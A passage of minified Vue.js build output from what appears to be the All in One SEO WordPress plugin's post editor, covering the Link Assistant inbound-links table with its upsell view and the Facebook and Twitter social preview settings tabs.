Title",this.$td)},{slug:"phrase",label:this.$t.__("Phrase",this.$td)},{slug:"delete",width:"50px"}]},seeAllLinks(){return this.$t.sprintf(this.$t.__("See All %1$s %2$s Links",this.$td),this.post.links.inboundInternal.totals.total,this.$t.__("Inbound Internal",this.$td))}},methods:{processPagination(t){this.pageNumber=t,!this.metabox&&(this.wpTableLoading=!0,this.processFetchTableData().then(()=>this.wpTableLoading=!1))}}},sa={key:0},oa={key:0,class:"row-actions"},ia={class:"view"},ra=["href"],na={class:"edit"},aa=["href"],la={key:0,class:"links-bottom"},da={class:"links-bottom-left"},ca={key:1},ua={class:"links-bottom-right"};function ha(t,e,i,s,o,r){const h=l("link-assistant-phrase"),a=l("svg-trash"),_=l("core-tooltip"),y=l("core-wp-table"),C=l("svg-link-suggestion"),$=l("base-button"),b=l("svg-link-external"),v=l("link-assistant-confirmation-modal");return n(),f("div",null,[(n(),g(y,{id:o.tableId,key:t.wpTableKey,class:P({"link-assistant-inner-table":!t.postReport}),columns:r.columns,loading:t.wpTableLoading,rows:t.rows,totals:t.post.links.inboundInternal.totals,"bulk-options":s.bulkOptions,"initial-items-per-page":s.settingsStore.settings.tablePagination.linkAssistantPostsReport,"initial-page-number":t.pageNumber,"show-pagination":!t.linksReport,"show-search":!1,"show-table-footer":t.postReport,"show-items-per-page":"",onPaginate:r.processPagination,onProcessBulkAction:t.maybeDoBulkAction,onProcessChangeItemsPerPage:t.processChangeItemsPerPage},{post_title:d(({row:w})=>[u("span",null,[k(m(w.context.postTitle)+" ",1),w.context.permalink.replace(/\/$/,"")===s.rootStore.aioseo.urls.home?(n(),f("span",sa,"("+m(o.strings.frontPage)+")",1)):p("",!0)]),w.context?(n(),f("div",oa,[u("span",ia,[u("a",{href:w.context.permalink,target:"_blank"},m(t.viewPost(w.context.postType.singular)),9,ra),k(" | ")]),u("span",na,[u("a",{href:w.context.editLink,target:"_blank"},m(t.editPost(w.context.postType.singular)),9,aa)])])):p("",!0)]),phrase:d(({row:w})=>[c(h,{phrase:w.phrase,phraseHtml:w.phrase_html||"",anchor:w.anchor,url:w.url,clickableAnchor:!0},null,8,["phrase","phraseHtml","anchor","url"])]),delete:d(({index:w})=>[c(_,{type:"action"},{tooltip:d(()=>[k(m(o.strings.deleteLink),1)]),default:d(()=>[c(a,{onClick:R=>t.maybeDoBulkAction({action:"delete",selectedRows:w})},null,8,["onClick"])]),_:2},1024)]),_:1},8,["id","class","columns","loading","rows","totals","bulk-options","initial-items-per-page","initial-page-number","show-pagination","show-table-footer","onPaginate","onProcessBulkAction","onProcessChangeItemsPerPage"])),t.postReport?p("",!0):(n(),f("div",la,[u("div",da,[t.post.links.inboundInternal.rows.length?(n(),g($,{key:0,type:"blue",tag:"button",onClick:e[0]||(e[0]=w=>t.$emit("openSuggestions"))},{default:d(()=>[c(C),k(" "+m(o.strings.outboundSuggestions),1)]),_:1})):p("",!0),t.post.links.inboundInternal.totals.total>5&&t.linksReport?(n(),f("div",ca,[c(b),u("a",{class:"link-view",href:"#",onClick:e[1]||(e[1]=M(w=>t.openPostReport("inbound-internal"),["prevent"]))},m(r.seeAllLinks),1)])):p("",!0)]),u("div",ua,[t.post.links.inboundInternal.rows.length?(n(),f("a",{key:0,class:"link-delete",onClick:e[2]||(e[2]=M(w=>t.maybeDoBulkAction({action:"delete",selectedRows:"all"}),["prevent"]))},m(o.strings.deleteAllLinks),1)):p("",!0)])])),t.showModal?(n(),g(v,{key:1,selectedRows:t.selectedRows,strings:s.modalStrings,onDoBulkAction:t.doBulkAction,onCloseModal:e[3]||(e[3]=w=>t.showModal=!1)},null,8,["selectedRows","strings","onDoBulkAction"])):p("",!0)])}const pa=S(ea,[["render",ha]]),ga={setup(){return{licenseStore:B(),postEditorStore:E()}},components:{CoreAlert:G,CoreBlur:bt,CoreMainTabs:ot,CoreModalPortal:Q,Cta:ye,LinkAssistantInboundInternal:pa,LinksSideBar:Ln,SvgLinkAffiliate:Os,SvgLinkExternal:Se,SvgLinkInternalInbound:Ns,SvgLinkInternalOutbound:Us,SvgLinkSuggestion:Ft,RequiredPlans:Ks},props:{parentComponentContext:String},data(){return{activeTab:"inbound-internal",activeSuggestionTab:"suggestions-inbound",mockedPostData:{links:{inboundInternal:{rows:[{phrase:"Are you looking for an easy way to do an SEO analysis for your website?",anchor:"SEO analysis",url:"#",context:{postTitle:"How to Perform an SEO Analysis on Your WordPress Website",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"AIOSEO also allows you to create video sitemaps and comes with tons of different SEO tools.",anchor:"video sitemaps",url:"#",context:{postTitle:"How to Create WordPress Image Sitemap",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"You may also want to check out how to name your image files for SEO in WordPress and write alt text for images.",anchor:"how to name your image files for SEO in WordPress",url:"#",context:{postTitle:"What’s the Best Image Format for Your Website?",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"Are you looking for an easy way to do an SEO analysis for your website?",anchor:"SEO analysis",url:"#",context:{postTitle:"How to Perform an SEO Analysis on Your WordPress Website",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"To learn more, please check out our post on image SEO: how to best optimize your images in WordPress. ",anchor:"image SEO",url:"#",context:{postTitle:"How to Write Alt Text for Images for SEO",permalink:"#",editLink:"#",postType:{singular:"Post"}}},{phrase:"So let’s now move on to showing you exactly how easy it is to import and export redirects using the best redirect plugin for WordPress.",anchor:"best redirect plugin for WordPress",url:"#",context:{postTitle:"How to Easily Import and Export Redirects in WordPress",permalink:"#",editLink:"#",postType:{singular:"Post"}}}],totals:{total:6}},outboundInternal:{totals:{total:12}},affiliate:{totals:{total:8}},external:{totals:{total:24}},suggestionsInbound:{totals:{total:9}},suggestionsOutbound:{totals:{total:9}}}},strings:{ctaButtonText:this.$t.__("Unlock Link Assistant",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Link Assistant is a %1$s Feature",this.$td),"PRO"),linkAssistantDescription:this.$t.__("Get relevant suggestions for adding internal links to all your content as well as finding any orphaned posts that have no internal links.",this.$td),thisFeatureRequires:this.$t.__("This feature requires one of the following plans:",this.$td),linkOpportunities:this.$t.__("Actionable Link Suggestions",this.$td),orphanedPosts:this.$t.__("See Orphaned Posts",this.$td),affiliateLinks:this.$t.__("See Affiliate Links",this.$td),domainReports:this.$t.__("Top Domain Reports",this.$td)}}},computed:{initialTab(){return"inbound-internal"},tabs(){return[{slug:"inbound-internal",icon:"svg-link-internal-inbound",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.inboundInternal.totals.total,this.$t.__("Inbound Internal",this.$td))},{slug:"outbound-internal",icon:"svg-link-internal-outbound",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.outboundInternal.totals.total,this.$t.__("Outbound Internal",this.$td))},{slug:"affiliate",icon:"svg-link-affiliate",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.affiliate.totals.total,this.$t.__("Affiliate",this.$td))},{slug:"external",icon:"svg-link-external",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.external.totals.total,this.$t.__("External",this.$td))},{slug:"link-suggestions",icon:"svg-link-suggestion",name:this.$t.sprintf("%1$s %2$s",this.mockedPostData.links.suggestionsOutbound.totals.total+this.mockedPostData.links.suggestionsInbound.totals.total,this.$t.__("Link Suggestions",this.$td))}]},modalHeader(){return this.$t.sprintf(this.$t.__('Links & Suggestions for "%1$s"',this.$td),window.wp.data.select("core/editor").getEditedPostAttribute("title"))}}},_a={class:"aioseo-tab-content aioseo-link-assistant"},ma={key:0};function fa(t,e,i,s,o,r){const h=l("core-main-tabs"),a=l("link-assistant-inbound-internal"),_=l("core-blur"),y=l("required-plans"),C=l("cta"),$=l("core-modal-portal"),b=l("links-side-bar");return n(),f("div",_a,[t.$root._data.screenContext==="metabox"?(n(),f("div",ma,[c(_,null,{default:d(()=>[c(h,{class:"link-tabs",internal:"",tabs:r.tabs,active:r.initialTab,showSaveButton:!1},{"var-tab-icon":d(({tab:v})=>[(n(),g(H(v.icon),{class:P([{warning:v.warning}])},null,8,["class"]))]),_:1},8,["tabs","active"]),o.activeTab==="inbound-internal"?(n(),g(a,{key:0,post:o.mockedPostData,metabox:""},null,8,["post"])):p("",!0)]),_:1}),c(C,{"cta-link":t.$links.getPricingUrl("link-assistant","link-assistant-upsell","metabox"),"button-text":o.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("link-assistant","metabox",t.$isPro?"pricing":"liteUpgrade"),"feature-list":[o.strings.linkOpportunities,o.strings.domainReports,o.strings.orphanedPosts,o.strings.affiliateLinks],"hide-bonus":!s.licenseStore.isUnlicensed},{"header-text":d(()=>[k(m(o.strings.ctaHeader),1)]),description:d(()=>[c(y,{addon:"aioseo-link-assistant"}),k(" "+m(o.strings.linkAssistantDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list","hide-bonus"])])):p("",!0),s.postEditorStore.currentPost.linkAssistant.modalOpen&&t.$root._data.screenContext==="sidebar"?(n(),g($,{key:1,classes:["aioseo-link-assistant-modal"],onClose:s.postEditorStore.toggleLinkAssistantModal},{headerTitle:d(()=>[k(m(r.modalHeader),1)]),body:d(()=>[c(_,null,{default:d(()=>[c(h,{class:"link-tabs",internal:"",tabs:r.tabs,active:r.initialTab,showSaveButton:!1},{"var-tab-icon":d(({tab:v})=>[(n(),g(H(v.icon),{class:P([{warning:v.warning}])},null,8,["class"]))]),_:1},8,["tabs","active"]),o.activeTab==="inbound-internal"?(n(),g(a,{key:0,post:o.mockedPostData,metabox:""},null,8,["post"])):p("",!0)]),_:1}),c(C,{"cta-link":t.$links.getPricingUrl("link-assistant","link-assistant-upsell","metabox"),"button-text":o.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("link-assistant","metabox",t.$isPro?"pricing":"liteUpgrade"),"feature-list":[o.strings.linkOpportunities,o.strings.domainReports,o.strings.orphanedPosts,o.strings.affiliateLinks],"hide-bonus":!s.licenseStore.isUnlicensed},{"header-text":d(()=>[k(m(o.strings.ctaHeader),1)]),description:d(()=>[c(y,{addon:"aioseo-link-assistant"}),k(" "+m(o.strings.linkAssistantDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list","hide-bonus"])]),_:1},8,["onClose"])):p("",!0),this.parentComponentContext!=="modal"?(n(),g(b,{key:2})):p("",!0)])}const ee=S(ga,[["render",fa]]),ya={};function Sa(t,e){return n(),f("div")}const ba=S(ya,[["render",Sa]]);const va={setup(){return{addons:fe,licenseStore:B()}},components:{Links:ee,LinksActivate:ba,LinksLite:ee},props:{parentComponentContext:String}},ka={class:"aioseo-tab-content aioseo-link-assistant"};function wa(t,e,i,s,o,r){const h=l("Links",!0),a=l("LinksLite"),_=l("LinksActivate");return n(),f("div",ka,[!s.licenseStore.isUnlicensed&&s.addons.isActive("aioseo-link-assistant")&&!s.addons.requiresUpgrade("aioseo-link-assistant")?(n(),g(h,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0),s.licenseStore.isUnlicensed||s.addons.requiresUpgrade("aioseo-link-assistant")?(n(),g(a,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0),!s.licenseStore.isUnlicensed&&!s.addons.isActive("aioseo-link-assistant")&&s.addons.canActivate("aioseo-link-assistant")&&!s.addons.requiresUpgrade("aioseo-link-assistant")?(n(),g(_,{key:2,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0)])}const Ca=S(va,[["render",wa]]),$a={computed:{objectTypeOptions(){return[{groupLabel:this.$t.__("Default",this.$td),options:[{label:this.$t.__("Default Object Type (Set in Social Networks)",this.$td),value:"default"}]}].concat(this.$constants.OG_TYPE_OPTIONS)}},methods:{getObjectTypeLabelByOption(t){let e="";return this.objectTypeOptions.forEach(i=>{const s=i.options.find(o=>o.value===t);s&&(e=(s==null?void 0:s.label)||"")}),e}}},Ea={computed:{twitterCardOptions(){return[{label:this.$t.__("Default (Set under Social Networks)",this.$td),value:"default"},{label:this.$t.__("Summary",this.$td),value:"summary"},{label:this.$t.__("Summary with Large Image",this.$td),value:"summary_large_image"}]}},methods:{getTwitterCardLabelByOption(t){var e;return((e=this.twitterCardOptions.find(i=>i.value===t))==null?void 0:e.label)||""}}};const Pa={setup(){return{optionsStore:dt(),postEditorStore:E(),rootStore:Y()}},components:{CoreAlert:G,CoreFacebookPreview:Gs,CoreHtmlTagsEditor:Kt,CoreImageUploader:we,CoreSettingsRow:N},mixins:[be,ve,ce,Ot,Nt,$a],props:{isMobilePreview:{type:Boolean,default(){return!1}}},data(){return{tags:ke,separator:void 0,titleCount:0,descriptionCount:0,strings:{tabName:this.$t.__("Facebook Preview",this.$td),imageSource:this.$t.__("Image Source",this.$td),customFieldsName:this.$t.__("Custom Field Name",this.$td),video:this.$t.__("Video URL",this.$td),width:this.$t.__("Width",this.$td),height:this.$t.__("Height",this.$td),facebookObjectType:this.$t.__("Object Type",this.$td),facebookImage:this.$t.__("Facebook Image",this.$td),facebookTitle:this.$t.__("Facebook Title",this.$td),facebookDescription:this.$t.__("Facebook Description",this.$td),minimumSize:this.$t.__("Minimum size: 200px x 200px, ideal ratio 1.91:1, 5MB max. (eg: 1640px x 856px or 3280px x 1712px for Retina screens). JPG, PNG, WEBP and GIF formats only.",this.$td),clickToAddSiteName:this.$t.__("Click on the tags below to insert variables into your site name.",this.$td),clickToAddHomePageDescription:this.$t.__("Click on the tags below to insert variables into your meta description.",this.$td),articleSection:this.$t.__("Article Section",this.$td),articleTags:this.$t.__("Article Tags",this.$td),tagPlaceholder:this.$t.__("Press enter to create an article tag",this.$td),facebookDisabled:this.$t.sprintf(this.$t.__("No %1$s markup will be output for your post because it is currently disabled. You can enable %1$s markup in the Social Networks settings. %2$s",this.$td),this.$t.__("Open Graph",this.$td),this.$t.sprintf('<a href="%1$s" target="_blank">%2$s<span class="link-right-arrow"> →</span></a>',this.rootStore.aioseo.urls.aio.socialNetworks+"#facebook",this.$t.__("Go to Social Networks",this.$td)))}}},computed:{previewTitle(){return this.parseTags(this.postEditorStore.currentPost.og_title||this.postEditorStore.currentPost.title||this.postEditorStore.currentPost.tags.title||"#post_title #separator_sa #site_title")},previewDescription(){return this.parseTags(this.postEditorStore.currentPost.og_description||this.postEditorStore.currentPost.description||this.postEditorStore.currentPost.tags.description||"#post_content")},shouldShowArticleSection(){const t=this.postEditorStore.currentPost.context==="term"?"taxonomies":"postTypes";return this.postEditorStore.currentPost.og_object_type==="article"||this.postEditorStore.currentPost.og_object_type==="default"&&this.optionsStore.dynamicOptions.social.facebook.general[t][this.postEditorStore.currentPost.postType||this.postEditorStore.currentPost.termType].objectType==="article"}},methods:{scrollToElement(){const t=document.getElementsByClassName("component-wrapper")[0];setTimeout(()=>{t&&(t.firstChild.scrollTop=0)},10)},saveImageType(t){this.postEditorStore.currentPost.og_image_type=t,this.postEditorStore.isDirty=!0},getObjectTypeOptions(t){let e=null;return this.objectTypeOptions.forEach(i=>{const s=i.options.find(o=>o.value===t);s&&(e=s)}),e},setObjectType(t){this.postEditorStore.currentPost.og_object_type=t,this.postEditorStore.isDirty=!0},updateImage(t){this.postEditorStore.currentPost.og_image_custom_url=t,this.postEditorStore.savePostState()},handleImageUpdate(){this.setImageUrl()}},watch:{"postEditorStore.currentPost.og_image_type"(){this.handleImageUpdate()},"postEditorStore.currentPost.og_image_custom_url"(){this.handleImageUpdate()}},mounted(){this.scrollToElement(),this.setImageUrl(),window.aioseoBus.$on("updateFeaturedImage",this.handleImageUpdate)},beforeUnmount(){window.aioseoBus.$off("updateFeaturedImage",this.handleImageUpdate)}},xa={class:"tab-facebook"},Ta={id:"aioseo-post-settings-facebook"},Aa=["innerHTML"],Ma=["innerHTML"];function La(t,e,i,s,o,r){const h=l("core-alert"),a=l("core-settings-row"),_=l("core-facebook-preview"),y=l("core-html-tags-editor"),C=l("base-select"),$=l("base-input"),b=l("core-image-uploader");return n(),f("div",xa,[c(a,{noBorder:"",noVerticalMargin:""},{content:d(()=>[s.optionsStore.options.social.facebook.general.enable?p("",!0):(n(),g(h,{key:0,class:"facebook-disabled-warning",innerHTML:o.strings.facebookDisabled,type:"red"},null,8,["innerHTML"]))]),_:1}),c(a,{name:o.strings.tabName},{content:d(()=>[c(_,{class:P({ismobilecard:s.postEditorStore.currentPost.socialMobilePreview}),description:r.previewDescription,image:t.imageUrl,loading:t.loading,title:r.previewTitle},null,8,["class","description","image","loading","title"])]),_:1},8,["name"]),u("div",Ta,[c(a,{name:o.strings.facebookTitle,class:"facebook-title-settings",align:""},{content:d(()=>[c(y,{class:"facebook-meta-input",modelValue:s.postEditorStore.currentPost.og_title,"onUpdate:modelValue":[e[0]||(e[0]=v=>s.postEditorStore.currentPost.og_title=v),e[2]||(e[2]=v=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,single:"",onCounter:e[1]||(e[1]=v=>t.updateCount(v,"titleCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Title`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"title")},{"tags-description":d(()=>[k(m(o.strings.clickToAddSiteName),1)]),_:1},8,["modelValue","tags-context","default-tags"]),u("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.titleCount,95)},null,8,Aa)]),_:1},8,["name"]),c(a,{name:o.strings.facebookDescription,class:"facebook-description-settings",align:""},{content:d(()=>[c(y,{class:"facebook-meta-input",modelValue:s.postEditorStore.currentPost.og_description,"onUpdate:modelValue":[e[3]||(e[3]=v=>s.postEditorStore.currentPost.og_description=v),e[5]||(e[5]=v=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,description:"",onCounter:e[4]||(e[4]=v=>t.updateCount(v,"descriptionCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Description`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"description")},{"tags-description":d(()=>[k(m(o.strings.clickToAddHomePageDescription),1)]),_:1},8,["modelValue","tags-context","default-tags"]),u("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.descriptionCount,200)},null,8,Ma)]),_:1},8,["name"]),c(a,{class:"facebook-image-source",name:o.strings.imageSource,align:""},{content:d(()=>[c(C,{size:"medium",options:t.imageSourceOptionsFiltered,modelValue:t.getImageSourceOptionFiltered(s.postEditorStore.currentPost.og_image_type),"onUpdate:modelValue":e[6]||(e[6]=v=>r.saveImageType(v.value))},null,8,["options","modelValue"])]),_:1},8,["name"]),s.postEditorStore.currentPost.og_image_type==="custom"?(n(),g(a,{key:0,name:o.strings.customFieldsName,align:""},{content:d(()=>[c($,{type:"text",size:"medium",placeholder:o.strings.placeholder,modelValue:s.postEditorStore.currentPost.og_image_custom_fields,"onUpdate:modelValue":[e[7]||(e[7]=v=>s.postEditorStore.currentPost.og_image_custom_fields=v),e[8]||(e[8]=v=>s.postEditorStore.isDirty=!0)]},null,8,["placeholder","modelValue"])]),_:1},8,["name"])):p("",!0),s.postEditorStore.currentPost.og_image_type==="custom_image"?(n(),g(a,{key:1,class:"facebook-image",name:o.strings.facebookImage},{content:d(()=>[c(b,{description:o.strings.minimumSize,modelValue:s.postEditorStore.currentPost.og_image_custom_url,"onUpdate:modelValue":e[9]||(e[9]=v=>s.postEditorStore.currentPost.og_image_custom_url=v)},null,8,["description","modelValue"])]),_:1},8,["name"])):p("",!0),c(a,{class:"facebook-video",name:o.strings.video,align:""},{content:d(()=>[c($,{type:"text",size:"medium",modelValue:s.postEditorStore.currentPost.og_video,"onUpdate:modelValue":e[10]||(e[10]=v=>s.postEditorStore.currentPost.og_video=v)},null,8,["modelValue"])]),_:1},8,["name"]),c(a,{class:"facebook-object-type",name:o.strings.facebookObjectType,align:""},{content:d(()=>[c(C,{size:"medium","open-direction":"top",options:t.objectTypeOptions,"group-label":"groupLabel","group-values":"options",modelValue:r.getObjectTypeOptions(s.postEditorStore.currentPost.og_object_type),"onUpdate:modelValue":e[11]||(e[11]=v=>r.setObjectType(v.value))},null,8,["options","modelValue"])]),_:1},8,["name"]),r.shouldShowArticleSection?(n(),g(a,{key:2,name:o.strings.articleSection,align:""},{content:d(()=>[c($,{type:"text",size:"medium",modelValue:s.postEditorStore.currentPost.og_article_section,"onUpdate:modelValue":e[12]||(e[12]=v=>s.postEditorStore.currentPost.og_article_section=v)},null,8,["modelValue"])]),_:1},8,["name"])):p("",!0),r.shouldShowArticleSection?(n(),g(a,{key:3,name:o.strings.articleTags,align:""},{content:d(()=>[c(C,{multiple:"",taggable:"",options:t.getJsonValue(s.postEditorStore.currentPost.og_article_tags)||[],modelValue:t.getJsonValue(s.postEditorStore.currentPost.og_article_tags)||[],"onUpdate:modelValue":e[13]||(e[13]=v=>s.postEditorStore.currentPost.og_article_tags=t.setJsonValue(v)),"tag-placeholder":o.strings.tagPlaceholder},null,8,["options","modelValue","tag-placeholder"])]),_:1},8,["name"])):p("",!0)])])}const Ha=S(Pa,[["render",La]]);const Ia={setup(){return{optionsStore:dt(),postEditorStore:E(),rootStore:Y()}},components:{CoreAlert:G,CoreHtmlTagsEditor:Kt,CoreImageUploader:we,CoreSettingsRow:N,CoreTwitterPreview:Fs},mixins:[be,ve,Ot,Nt,Ea],props:{isMobilePreview:{type:Boolean,default(){return!1}}},data(){return{tags:ke,separator:void 0,titleCount:0,descriptionCount:0,strings:{twitterPreview:this.$t.__("Twitter Preview",this.$td),useFB:this.$t.__("Use Data from Facebook Tab",this.$td),imageSource:this.$t.__("Image Source",this.$td),customFieldsName:this.$t.__("Custom Field Name",this.$td),twitterImage:this.$t.__("Twitter Image",this.$td),twitterTitle:this.$t.__("Twitter Title",this.$td),twitterDescription:this.$t.__("Twitter Description",this.$td),twitterCardType:this.$t.__("Twitter Card Type",this.$td),minimumSizeSummary:this.$t.__("Minimum size: 144px x 144px, ideal ratio 1:1, 5MB max. JPG, PNG, WEBP and GIF formats only.",this.$td),minimumSizeSummaryWithLarge:this.$t.__("Minimum size: 300px x 157px, ideal ratio 2:1, 5MB max. JPG, PNG, WEBP and GIF formats only.",this.$td),twitterDisabled:this.$t.sprintf(this.$t.__("No %1$s markup will be output for your post because it is currently disabled. You can enable %1$s markup in the Social Networks settings. %2$s",this.$td),this.$t.__("Twitter",this.$td),this.$t.sprintf('<a href="%1$s" target="_blank">%2$s<span class="link-right-arrow"> →</span></a>',this.rootStore.aioseo.urls.aio.socialNetworks+"#twitter",this.$t.__("Go to Social Networks",this.$td)))}}},computed:{previewTitle(){const t=this.postEditorStore.currentPost.twitter_use_og?this.postEditorStore.currentPost.og_title:this.postEditorStore.currentPost.twitter_title;return this.parseTags(t||this.postEditorStore.currentPost.title||this.postEditorStore.currentPost.tags.title||"#post_title #separator_sa #site_title")},previewDescription(){const t=this.postEditorStore.currentPost.twitter_use_og?this.postEditorStore.currentPost.og_description:this.postEditorStore.currentPost.twitter_description;return this.parseTags(t||this.postEditorStore.currentPost.description||this.postEditorStore.currentPost.tags.description||"#post_content")},twitterImageUploaderDescription(){return this.postEditorStore.currentPost.twitter_card==="summary"||this.postEditorStore.currentPost.twitter_card==="default"&&this.optionsStore.options.social.twitter.general.defaultCardType==="summary"?this.strings.minimumSizeSummary:this.postEditorStore.currentPost.twitter_card==="summary_large_image"||this.postEditorStore.currentPost.twitter_card==="default"&&this.optionsStore.options.social.twitter.general.defaultCardType==="summary_large_image"?this.strings.minimumSizeSummaryWithLarge:""}},methods:{getCardOptions(t){return this.twitterCardOptions.find(e=>e.value===t)},cardSelect(t){this.postEditorStore.currentPost.twitter_card=t,this.postEditorStore.isDirty=!0},scrollToElement(){const t=document.getElementsByClassName("component-wrapper")[0];setTimeout(()=>{t&&(t.firstChild.scrollTop=0)},10)},saveTwitterImageType(t){this.postEditorStore.currentPost.twitter_image_type=t,this.postEditorStore.isDirty=!0},updateImage(t){this.postEditorStore.currentPost.twitter_image_custom_url=t,this.postEditorStore.savePostState()},handleImageUpdate(){this.setImageUrl()}},watch:{"postEditorStore.currentPost.twitter_use_og"(){this.handleImageUpdate()},"postEditorStore.currentPost.twitter_image_type"(){this.handleImageUpdate()},"postEditorStore.currentPost.twitter_image_custom_url"(){this.handleImageUpdate()}},mounted(){this.scrollToElement(),this.setImageUrl(),window.aioseoBus.$on("updateFeaturedImage",this.handleImageUpdate)},beforeUnmount(){window.aioseoBus.$off("updateFeaturedImage",this.handleImageUpdate)}},Ba={class:"tab-twitter"},Ra={id:"aioseo-post-settings-twitter"},Da=["innerHTML"],Va=["innerHTML"];function Oa(t,e,i,s,o,r){const h=l("core-alert"),a=l("core-settings-row"),_=l("core-twitter-preview"),y=l("base-toggle"),C=l("core-html-tags-editor"),$=l("base-select"),b=l("base-input"),v=l("core-image-uploader");return n(),f("div",Ba,[c(a,{noBorder:"",noVerticalMargin:""},{content:d(()=>[s.optionsStore.options.social.twitter.general.enable?p("",!0):(n(),g(h,{key:0,class:"twitter-disabled-warning",innerHTML:o.strings.twitterDisabled,type:"red"},null,8,["innerHTML"]))]),_:1}),c(a,{name:o.strings.twitterPreview},{content:d(()=>[c(_,{card:s.postEditorStore.currentPost.twitter_card,class:P({ismobilecard:s.postEditorStore.currentPost.socialMobilePreview}),description:r.previewDescription,image:t.imageUrl,loading:t.loading,title:r.previewTitle},null,8,["card","class","description","image","loading","title"])]),_:1},8,["name"]),u("div",Ra,[c(a,{name:o.strings.useFB,class:"use-facebook"},{content:d(()=>[c(y,{modelValue:s.postEditorStore.currentPost.twitter_use_og,"onUpdate:modelValue":[e[0]||(e[0]=w=>s.postEditorStore.currentPost.twitter_use_og=w),e[1]||(e[1]=w=>s.postEditorStore.isDirty=!0)]},null,8,["modelValue"])]),_:1},8,["name"]),s.postEditorStore.currentPost.twitter_use_og?p("",!0):(n(),g(a,{key:0,name:o.strings.twitterTitle,class:"twitter-title-settings",align:""},{content:d(()=>[c(C,{class:"twitter-meta-input",modelValue:s.postEditorStore.currentPost.twitter_title,"onUpdate:modelValue":[e[2]||(e[2]=w=>s.postEditorStore.currentPost.twitter_title=w),e[4]||(e[4]=w=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,single:"",onCounter:e[3]||(e[3]=w=>t.updateCount(w,"titleCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Title`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"title")},null,8,["modelValue","tags-context","default-tags"]),u("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.titleCount,70)},null,8,Da)]),_:1},8,["name"])),s.postEditorStore.currentPost.twitter_use_og?p("",!0):(n(),g(a,{key:1,name:o.strings.twitterDescription,class:"twitter-description-settings",align:""},{content:d(()=>[c(C,{class:"twitter-meta-input",modelValue:s.postEditorStore.currentPost.twitter_description,"onUpdate:modelValue":[e[5]||(e[5]=w=>s.postEditorStore.currentPost.twitter_description=w),e[7]||(e[7]=w=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,description:"",onCounter:e[6]||(e[6]=w=>t.updateCount(w,"descriptionCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Description`,"default-tags":o.tags.getDefaultTags(s.postEditorStore.currentPost.context==="term"?"taxonomies":null,null,"description")},{"tags-description":d(()=>[k(m(o.strings.clickToAddHomePageDescription),1)]),_:1},8,["modelValue","tags-context","default-tags"]),u("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.descriptionCount,200)},null,8,Va)]),_:1},8,["name"])),s.postEditorStore.currentPost.twitter_use_og?p("",!0):(n(),g(a,{key:2,class:"twitter-image-source",name:o.strings.imageSource,align:""},{content:d(()=>[c($,{size:"medium",options:t.imageSourceOptionsFiltered,modelValue:t.getImageSourceOptionFiltered(s.postEditorStore.currentPost.twitter_image_type),"onUpdate:modelValue":e[8]||(e[8]=w=>r.saveTwitterImageType(w.value))},null,8,["options","modelValue"])]),_:1},8,["name"])),!s.postEditorStore.currentPost.twitter_use_og&&s.postEditorStore.currentPost.twitter_image_type==="custom"?(n(),g(a,{key:3,class:"twitter-custom-field",name:o.strings.customFieldsName,align:""},{content:d(()=>[c(b,{type:"text",size:"medium",placeholder:o.strings.placeholder,modelValue:s.postEditorStore.currentPost.twitter_image_custom_fields,"onUpdate:modelValue":[e[9]||(e[9]=w=>s.postEditorStore.currentPost.twitter_image_custom_fields=w),e[10]||(e[10]=w=>s.postEditorStore.isDirty=!0)]},null,8,["placeholder","modelValue"])]),_:1},8,["name"])):p("",!0),!s.postEditorStore.currentPost.twitter_use_og&&s.postEditorStore.currentPost.twitter_image_type==="custom_image"?(n(),g(a,{key:4,class:"twitter-image",name:o.strings.twitterImage},{content:d(()=>[c(v,{description:r.twitterImageUploaderDescription,modelValue:s.postEditorStore.currentPost.twitter_image_custom_url,"onUpdate:modelValue":e[11]||(e[11]=w=>s.postEditorStore.currentPost.twitter_image_custom_url=w)},null,8,["description","modelValue"])]),_:1},8,["name"])):p("",!0),c(a,{class:"twitter-card-type",name:o.strings.twitterCardType,align:""},{content:d(()=>[c($,{size:"medium","open-direction":"top",options:t.twitterCardOptions,modelValue:r.getCardOptions(s.postEditorStore.currentPost.twitter_card),"onUpdate:modelValue":e[12]||(e[12]=w=>r.cardSelect(w.value))},null,8,["options","modelValue"])]),_:1},8,["name"])])])}const Na=S(Ia,[["render",Oa]]);const Ua={setup(){return{postEditorStore:E(),settingsStore:Z()}},components:{CoreSettingsRow:N,SvgPencil:ft},data(){return{strings:{title:this.$t.__("Social Media",this.$td),sidebarCopy:this.$t.__("Here you can view and edit the thumbnail, 